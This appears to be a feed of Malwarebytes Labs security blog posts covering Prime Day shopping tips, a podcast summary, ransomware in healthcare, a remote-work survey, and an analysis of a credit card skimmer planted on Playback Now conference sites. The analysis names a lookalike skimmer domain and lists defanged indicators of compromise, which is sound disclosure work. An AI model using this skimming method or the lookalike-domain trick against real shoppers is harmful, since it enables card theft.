How to shop Amazon Prime Day the practical and cyber-sensible way 1. Secure your Amazon Prime account

You can do this by setting up two-factor authentication (2FA)—if you haven’t already done it. Many websites these days already have a secondary means to authenticate either a session or the user. As an Amazon user, you should know that Amazon has been using this security feature for a long time now. If you’re not aware of this, go to your local Amazon Help & Customer Service page and search for “two-factor authentication” to get yourself started.

2. Use only your credit card when buying online

When it comes to which card to use when buying things online, you cannot go wrong with using a credit card over a debit card. Why? Because credit cards have fraud protection in place whereas bank cards, often, don’t have any.

3. Use Amazon’s official app

You can download this from both the Google Play and Apple App stores. Not only would doing so be convenient, it’s also safer, as long as you’re using the legitimate one of course. It’s safe to assume that cybercriminals wouldn’t pass up on Prime Day, whether the date had been moved this year or not, given that Amazon is such a household name they can bank on.

4. Use your Alexa to shop

This may sound counterintuitive, given that we cannot stress enough how vulnerable and unsecure IoT devices are. But you can still use your Alexa to shop, just make sure you do it with with security and privacy in mind. By this, we mean Alexa shouldn’t be activated straight away, from the box into the boudoir. So make sure you take the time and effort to set up your personal assistant based on the level of privacy you want the device to give you. Here are several points to consider:

  • Make sure you secure your home network first.
    • Have you changed the default name of your home Wi-Fi?
    • Is your router firewall enabled?
    • Are you using the router’s default credentials?
    • Is your wireless network password the strongest you can make it?
    • Is your router’s firmware updated?
    • Have you disabled router features you don’t really need or use?
  • Manage Alexa’s voice recording.
    • You can do this by setting it to automatically delete voice recordings at the earliest setting, which is 3 months. If you think this is too long, you can manually delete the recordings yourself.
  • Disable the feature that allows users to improve Alexa’s transcription capabilities.
  • Lock certain voice purchase commands behind a PIN.
  • Turn off your Alexa (or its microphone) when not in use.
5. Buy only from sellers you are comfortable buying products from

This may seem like an easy decision, but when you’re already on your computer or phone and see something you really want—which isn’t on your shopping list, by the way—make sure your want doesn’t blind you to the seller’s reputation. When you find yourself in this position, ask yourself these questions: Would it really be such a hassle for me if I check what other buyers have to say about this seller first before I buy something from them? Do the reviews seem to have come from actual buyers and not paid reviewers? How long has this supplier been selling on Amazon? Is this deal too good to be true?

6. Get to know Amazon’s policies

If you encounter a suspicious email, call, text message, or webpage claiming to be from Amazon or someone associated with the company, would you know what to do? Familiarize yourself with Amazon’s policies so you can stay one step ahead of the scammers.

7. Use a VPN, especially when you’re shopping on-the-go

Everyone knows that public Wi-Fi is generally considered dicey. As such, users are advised to connect to public Wi-Fi with caution else you run the risk of compromising your privacy, along with your credentials and personally identifiable information (PII). One way to address this is to use VPNs on a secured (password-protected, in other words) public network. The caveat here, of course, is that you should pick a mobile VPN app that doesn’t just talk the talk.

The other way is to not shop on-the-go at all.

8. Familiarize yourself with potential scams that are aimed at Amazon users like you

Knowing is half the battle. Read up and remind yourself that a known cybercriminal modus operandi (MO) is to target users who aren’t aware and/or who seem to not care about their security and privacy. Once you have an idea of their MO, you’re more likely to be on the lookout and, in turn, avoid the scams.

9. Security beyond Prime Day

Shopping season is unlikely to end with Prime Day, and nor should our vigilance as online shoppers. This way, we can keep our data and PII as secure and far away from the grasp of online criminals as possible. Amazon is one of the many platforms we use to shop. But what we have outlined here can be tweaked to apply to others.

Have a happy, exciting, and safe shopping journey ahead!

The post Amazon Prime Day—8 tips for safer shopping appeared first on Malwarebytes Labs.

Categories: Malware Bytes

Lock and Code S1Ep17: Journalism’s role in cybersecurity with Alfred Ng and Seth Rosenblatt

Malware Bytes Security - Mon, 10/12/2020 - 11:00am

Most everything about cybersecurity—the threats, the vulnerabilities, the breaches and the blunders—doesn’t happen in a vacuum. And the public doesn’t learn about those things because threat actors advertise their exploits, or because companies trumpet their lackluster data security practices.

No, we often learn about cybersecurity issues because of reporting. And as the years have progressed, the stories have only become more intertwined into our everyday lives. We learn whether our products are safe to use, we read about how to safely browse online, and we try to understand why an app might suddenly disappear from the Apple App Store.

To help us better understand the role of journalism in cybersecurity—how the public’s attention has broadened over many years, how a cybersecurity threat is deemed newsworthy, and how to avoid advice that serves no one—we’re talking today to Alfred Ng, senior reporter for CNET, and Seth Rosenblatt, editor-in-chief for The Parallax. 

You can also find us on the Apple iTunes storeGoogle Play Music, and Spotify, plus whatever preferred podcast platform you use.

We cover our own research on:
  • A mobile network operator falls into the hands of Fullz House Magecart group.
  • A fileless APT attack abuses Windows Error Reporting service using a ‘your right to compensation’ lure.
  • The risky business stemming from the fact that a majority of people use work devices for personal use.
  • An update about the state of healthcare security instigated by a case in Germany where a woman died as a result of a ransomware attack.
  • More credit card skimmers, this time the target was a virtual conference platform.
Other cybersecurity news:
  • A new AI software tool to be developed for the U.S. Air Force and Special Operations Command may help to counter disinformation. (Source: Defense One)
  • Hackers have launched a sprawling, multifaceted cyber-attack against the state of Washington, according to two people familiar with the matter. (Source: Bloomberg)
  • The United States has seized 92 domain names that were unlawfully used by Iran’s Islamic Revolutionary Guard Corps (IRGC) to engage in a global disinformation campaign. (Source: US Department of Justice)
  • Sam’s Club has started sending automated password reset emails and security notifications to customers who were hacked in credential stuffing attacks. (Source: BleepingComputer)
  • The International Maritime Organization (IMO), a fully fledged United Nations entity, has become the latest high profile shipping victim of a cyber attack. (Source: Splash 247)

Stay safe, everyone!

The post Lock and Code S1Ep17: Journalism’s role in cybersecurity with Alfred Ng and Seth Rosenblatt appeared first on Malwarebytes Labs.

Categories: Malware Bytes

Credit card skimmer targets virtual conference platform

Malware Bytes Security - Thu, 10/08/2020 - 3:57pm

We’ve seen many security incidents affecting different websites simultaneously because they were loading the same tampered piece of code. In many instances, this is due to what we call a supply-chain attack, where a threat actor targets one company that acts as an intermediary to others.

In today’s case, the targeted websites all reside on the same server and sell video content from various conferences and conventions. The host control panel belongs to Playback Now, a company that provides its customers with an array of services to capture and deliver recorded material into an online conference experience.

Criminals decided to impersonate Playback Now by registering a malicious domain lexically close to their official website that could be used to discreetly serve a credit card skimmer as well as collect stolen data.

Their next move was to inject a malicious reference to this skimmer code into dozens of Magento sites hosted on the same IP address belonging to Playback Now. As a result, the financial details from customers shopping for conference material were now at risk.

Online conference sites compromised with Inter skimming kit

Playback Now provides organizations with an easy way to seamlessly convert an event into an online virtual experience. Conferences and seminars can be delivered via live streaming, on demand, or a hybrid of the two.

Their offering of a virtual conference expo hall seems like a timely solution during the pandemic for organizers and exhibitors to connect with customers just like at an in-person event.

Businesses or organizations that want to join the experience can get a dedicated website from where they will serve and promote their content. Take the following website built for the Association of Healthcare Internal auditors.

Once users have registered and purchased one of the packages, they can access recorded sessions online or save them onto a flash drive.

A closer look at the website’s source code reveals an external reference to a JavaScript file. It would be easy to overlook, thinking it is served from the legitimate Playback Now website (, but there is an extra ‘s’ in that domain name (playbacknows[.]com) that gives it away.

That domain was registered only a couple of weeks ago and its home page is void of any content.

Domain name: Creation Date: 2020-09-21T20:22:10.00Z Registrar: NAMECHEAP INC Registrant Name: WhoisGuard Protected Registrant Street: P.O. Box 0823-03411  Registrant City: Panama

In total, we detected the reference to this domain in over 40 websites belonging to different organizations (see the IOCs section of this blogpost).

This JavaScript is a skimmer that has been lightly obfuscated and contains a certain number of strings that are a common marking for the Inter skimming kit.

When someone purchases a course or conference recording, their personal and credit card data will be leaked to criminals via the same malicious domain housing the skimmer.

Breach possibly related to Magento 1.x exploit

All affected Playback Now customer sites are running on the same IP address at Using VirusTotal Graph we can see an interesting connection with a piece of malware we previously documented.

This GoLang sample attempts to bruteforce access into a variety of Content Management Systems. If successful, attackers could use the gained credentials to inject malicious code into e-commerce sites.

This connection was interesting but lost some value when we looked at the submission date for this sample to VirusTotal. It’s quite likely that the server was pinged just like many others, but it’s unclear whether it would have resulted in a breach, even at a later date.

Based on an analysis of the compromised Playback Now related sites, we found they were running a vulnerable version of the Magento CMS, namely version 1.x. Following the release of an exploitation tool, a wave of attacks was recently observed, compromising over two thousand sites.

Given the timeline, this incident could have been leveraging the same exploit and be carried out by the same or perhaps a different group.

The official website is hosted on as well, but it does not appear to be compromised. One thing to note though is that it is running a different CMS, namely WordPress version 5.4.

We contacted Playback Now to report this breach. In the meantime, Malwarebytes Browser Guard detects and blocks the fraudulent skimmer domain.

Indicators of Compromise (IOCs)



Compromised sites

WebsiteOrganizationplaybacknar[.]comNational Association of Realtorsnaraei[.]playbacknow[.]comNational Association of Realtorsnais[.]playbacknow[.]comNational Association of Independent Schoolsnasmm[.]playbacknow[.]comNational Association of Senior Move Managerstripleplay[.]playbacknow[.]comTriple Playdigitaldealer[.]playbacknow[.]comDigital Dealerplaybackaaj[.]comAmerican Association for Justiceplaybackacp[.]comAmerican College of Physiciansplaybacksmilesource[.]comSmile Sourceplaybackc21[.]comCentury 21 Universityplaybackada[.]comAmerican Diabetes Associationplaybacknailba[.]comNAILBAplaybackswana[.]comSWANAplaybacknaspa[.]comNASPAplaybackaupresses[.]comAssociation of University Pressesplaybacknacba[.]comNACBAplaybackaca[.]comACA Internationalplaybacknala[.]comNALA Paralegal Associationplaybacknatp[.]comNational Association of Tax Professionalsiplayback[.]com–playbackcore[.]com–playbackndsc[.]comNational Down Syndrome Congressplaybackaata[.]comAmerican Art Therapy Associationplaybacksnrs[.]comSouthern Nursing Research Societyplaybackssp[.]comSociety for Scholarly Publishingplaybackcaregiving[.]comCaregivingplaybackcas[.]comCasualty Actuarial Societyplaybackmpc[.]comMidwest Podiatry Conferenceplaybackhinman[.]comHinman Dentalplaybacknetworker[.]comPsychotherapy Networkerplaybacknara[.]comNational Association for Regulatory Administrationaspcvirtualsummit[.]orgAmerican Society for Preventive Cardiologyplaybackfgs[.]comNational Genealogy Societyplaybackifa[.]comInternational Franchise Associationplaybackashe[.]comAssociation for the Study of Higher Educationplaybackippfa[.]comIPPFAplaybackahri[.]comAir Conditioning Heating Refrigeration Instituteplaybackaonl[.]comAmerican Organization for Nursing Leadershipplaybackngs[.]comNational Genealogy Societyplaybackrlc[.]comRestaurant Law Centerplaybackahia[.]comAssociation of Healthcare Internal Auditorsplaybacknacac[.]comNational Association for College Admission Counseling

Server hosting compromised sites

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Categories: Malware Bytes

Healthcare security update: death by ransomware, what’s next?

Malware Bytes Security - Thu, 10/08/2020 - 11:30am

A recent ransomware attack which played a significant role in the death of a German woman has put into focus both the dangers and the importance of cybersecurity today. But it has also led some to point fingers as to who was responsible.

As usual, playing the blame game helps no one, but it does remind us of the dire need to work on healthcare security.

What happened?

A few weeks ago, the university hospital Uniklinikum in the German city of Düsseldorf suffered a ransomware attack. The hospital decided not to admit new patients until it resolved the situation and restored normal operations.

Because of the admissions stop, a woman in need of immediate help had to be driven to the hospital of Wuppertal which is about 20 miles further. Unfortunately, she died upon arrival. The extra 30 minutes it took to get her to the next hospital turned out to be fatal.

As it turned out, the target of the ransomware gang was not even the hospital, but the university the hospital belongs to. When the attackers learned that the hospital had fallen victim as well, they handed over the decryption key for free. Despite that key, it took the hospital more than two weeks to reach a level of operability that allowed them to take on new patients.

This is not only tragic because the woman might have been saved if the university hospital had been operational, but also because it demonstrates once more how one of the most important parts of our infrastructure is lacking adequate defenses against prevalent threats likes ransomware.

What are the main problems facing healthcare security?

In the past we have identified several elements that make the healthcare industry, and hospitals in particular, more vulnerable to cyberthreats than many other verticals.

Here are some of those problem elements:

  • The Internet of Things (IoT): Due to their nature and method of use, you will find a lot of IoT devices in hospitals that all run on different operating systems and require specific security settings in order to shield them from the outside world.
  • Legacy systems: Quite often, older equipment will not run properly under newer operating systems which results in several systems that are running on an outdated OS and even on software that has reached the end-of-life point. This means that the software will no longer receive patches or updates even when there are known issues.
  • Lack of adequate backups: Even when the underlying problem has been resolved, it can take far too long for an attacked target to get back to an operational state. Institutes need to at least have a backup plan and maybe even backup equipment and servers for the most vital functions so they can keep them running when disaster strikes.
  • Extra stressors: Additional issues like COVID-19, fires, and other natural disasters can cut time and push aside the need to perform updates, make backups, or think about anything cybersecurity related. These stressors and other reasons are often referred to as “we have more important things to do.”
IoT security risks

Many medical devices that investigate and monitor the patient are connected to the internet. We consider them to be part of the Internet of Things (IoT). This group of devices comes with its own set of security risks, especially when it comes to personally identifiable information (PII).

In every case it is advisable to investigate whether the devices’ settings allow to approach it over the intranet instead of the internet. If possible, that makes it easier to shield the device from unauthorized access and keep the sensitive data inside the security perimeter.

Legacy systems

Medical systems come from various suppliers and in any hospital you will find many different types. Each with their own goal, user guide, and updating regime. For many legacy systems, the acting rule of thumb will be not to tinker with it if it works. The fear of a system failure outweighs the urgency to install the latest patches. And we can relate to that state of mind except when applied to security updates on a connected system.

Disaster stress

Okay, here comes our umpteenth mention of COVID-19—I know, but it is a factor that we can’t ignore.

The recent global pandemic contributes to the lack of time that IT staff at many healthcare organizations feel they have. The same is true for many other disasters that require emergency solutions to be set up.

In some cases, entire specialized clinics were built to deal with COVID-19 victims, and to replace lost capacity in other disasters like wildfires and earth slides.

More important matters at hand?

It’s difficult to overstate the importance of “triage” in the healthcare system. Healthcare professionals like nurses and doctors likely practice it every day, prioritizing the most critical patient needs on a second-by-second basis.

It should serve as no surprise that triaging has a place in IT administration, too. Healthcare facilities should determine which systems require immediate attention and which systems can wait.

Interestingly, the CISO of the hospital which suffered from the ransomware attack was accused of negligence in some German media. Law enforcement in Germany is moving forward with both trying to identify the individuals behind the ransomware attack, as well as potentially charging them with negligent manslaughter because of the woman’s death.

While we can hardly blame the CISO for the woman’s death, there may come a time when inadequate security and its results may carry punishment for those responsible.

Ransomware in particular

The ransomware at play in the German case was identified as DoppelPaymer and it was determined to be planted inside the organization using the CVE-2019-19781 vulnerability in Citrix VPNs.

In more recent news, we learned that UHS hospitals in the US were hit by Ryuk ransomware.

It’s also important to remember that the costs of a ransomware attack are often underestimated. People tend to look only at the actual ransom amount demanded, but the additional costs are often much higher than that.

It takes many people-hours to restore all the affected systems in an organization and return to a fully operational state. The time to recover will be lower in an organization that comes prepared. Having a restoration plan and adequate backups that are easy to deploy can streamline the process of getting back in business. Another important task is to figure out how it happened and how to plug the hole, so it won’t happen again. Also, a thorough investigation may be necessary to check whether the attacker did not leave any backdoors behind.

There’s a problem for every solution

Security will probably never reach a watertight quality, so besides making our infrastructure, especially the vital parts of it, as secure as possible, we also need to think ahead and make plans to deal with a breach. Whether it’s a data breach or an attack that cripples important parts of our systems, we want to be prepared. Knowing what to do—and in what order—can save a lot of time in disaster recovery. Having the tools and backups at hand is the second step in limiting the damages and help with a speedy recovery.

To sum it up, you are going to need:

  • Recovery plans for different scenarios: data breaches, ransomware attacks, you name it
  • File backups that are recent and easy to deploy or another type of rollback method
  • Backup systems that can take over when critical systems are crippled
  • Training for those involved, or at least an opportunity to familiarize them with the steps of the recovery plans

And last but not least, don’t forget to focus on prevention. The best thing about a recovery plan is when you never need it.

Stay safe, everyone!

The post Healthcare security update: death by ransomware, what’s next? appeared first on Malwarebytes Labs.

Categories: Malware Bytes

Risky business: survey shows majority of people use work devices for personal use

Malware Bytes Security - Wed, 10/07/2020 - 11:30am

There’s no denying the coronavirus pandemic is having a significant impact on the way we use technology. Some changes feel like a subtle acceleration of behavioral shifts that were already well underway (i.e. more online shopping and more streaming TV/movies).

Other changes are more extreme and we’re only beginning to understand the long-term effects. One of the biggest changes has to do with the way people work. More people are working from home than ever before and many are doing so for the very first time.

Now, combine these newly appointed remote workers with company-owned hardware and things are bound to go wrong. Right?

When it comes to light duty personal tasks like checking email, reading the news, or shopping online, most people who are working from home during the pandemic have no qualms about doing so on a work assigned device. The reason? It’s convenient, it’s believed to be low risk, and, in many cases, it’s allowed. Comparatively, few remote workers avoid any and all personal activities on their work hardware.

These findings and more come out of the latest Malwarebytes Labs reader survey on working from home during the coronavirus pandemic.

Business cybersecurity: perception vs. reality

Before we dig into the results of this new survey, we need to get a little context by looking back at an earlier survey Malwarebytes Labs conducted in August. In this study of the impact of COVID-19 on business cybersecurity, the Labs team spoke with 200 managers, directors, and C-suite executives in IT and cybersecurity roles at companies across the US to determine how their security posture has changed since the start of the pandemic. Sure enough, many companies were caught flatfooted, with 24 percent saying they incurred unexpected expenses relating to a cybersecurity breach or malware attack following shelter-in-place orders. Another 20 percent of respondents said they faced a security breach as a result of a remote worker.

The Labs team wanted to get a better understanding of how and why these security breaches happened. Are remote workers engaging in risky behavior that might open employers up to a potential security breach? To get answers, we went straight to our readers.

We asked Labs readers if they worked from home and, if so, did they have a work device provided by their employer. For the purposes of this survey we defined a work device as a desktop computer, laptop, smartphone, or tablet.

Of the 900 readers who took the survey, 77.5 percent said they currently work from home. About half of at-home workers, 52.7 percent, said they had a work assigned device.

In the earlier study focused on IT leaders, 47 percent said they were confident that their employees were “very aware” of cybersecurity best practices when working from home. Only 17.3 percent believed their employees were “acutely aware and mindful to avoid risk.” A mere 5.4 percent said their employees were “oblivious and risky.” 

The results of the latest reader survey appear to support these assessments. 

When we asked Labs readers if they used a work device to perform personal tasks not relating to work, most people said they felt comfortable performing seemingly low risk everyday tasks. Specifically, 52.6 percent said they sent or received email, while 52 percent said they read the news. Another 37.8 percent said they shopped online, and 25 percent said they checked their social media. 

As for why, most people said it was convenient:

“I’m using the work device during the day, no point starting up my own personal device just to do something I could do on the device I’m already sitting at and using.”

  A smaller group of respondents said it was expressly allowed by their employer:

“Work policy allows some personal use outside of work times—read Washington Post, New England Journal of Medicine, Zoom with friends.”

A few said they didn’t have the luxury of switching to a personal computer:

“Kids are using the family computer, I’m already on my work computer.”

For a significant chunk of readers, breaking the monotony of day-to-day WFH life was worth any potential risk. Some 25 percent of respondents said they streamed music, while 24 percent said they streamed videos or movies.

“Easier to stream (within reason) background music and videos while working rather than switch to a dedicated device. Same with reading news and other activities that do not require a personal account sign-in.”

A small, but impressive 30 percent of respondents said they never performed any kind of personal activity on a work assigned device. When asked why, most said something to the effect of “It’s not my computer.”

“I don’t. When I’m tempted to, it’s because it’s easier to not switch to another device or because my work computer has better software than my personal computer. But it’s not my machine so I don’t.”

Others said that personal use was forbidden or outright restricted:

“I work for the government. They monitor computer usage, so no personal stuff done on the work laptop.”

Risky business for remote workers

Remote workers who engaged in online behavior that could be considered high risk were relatively few. Of those surveyed, 22 percent said they downloaded or installed an application on work systems. Another 6.5 percent of respondents said they used a work device as a WiFi hotspot for other devices. Possibly taking advantage of more powerful work hardware, 4.6 percent said they played video games.

It’s worth noting, gamers are a favorite target for cybercriminals. Malwarebytes Labs has reported on cheat tools that contain hidden malware, in-game currency scams, and phishing sites that lure victims in with the promise of “free” games.

Setting boundaries

At this point, you’re probably wondering why there’s no data about how many remote workers used work devices to connect to unsecure public WiFi networks. Varying shelter-in-place restrictions and the closure of many facilities that offer public WiFi (like coffee shops and restaurants) make it nigh impossible to get accurate data on the subject. If anything, we’ll save that question for a future survey. 

For now, it’s safe to say most people working from home are doing so safely. However, the onus is on employers to set clear boundaries around what employees can and cannot do with the company hardware.

One survey respondent summed it up best:

“Pure convenience. The work laptop is fully set up with a dock and connections to keyboard, mouse, external monitor, and wired Internet … So, short answer: I’m lazy.”

The same respondent added:

“It’s probably worth noting that the employer has a reasonable set of safeguards on the laptop itself—I could not, for example, randomly download new software, nor visit certain non-safelisted sites.”

If you’re a business owner, short of placing draconian restrictions on what your remote workers can and can’t do with their work devices, now is a good time to remind employees about work device protocols. Finally, we would be remiss without mentioning Malwarebytes offers endpoint protection solutions that keep your employees, devices, and network safe if and when a remote worker clicks a bad link, opens an infected attachment, or visits a malicious website.

The post Risky business: survey shows majority of people use work devices for personal use appeared first on Malwarebytes Labs.

Categories: Malware Bytes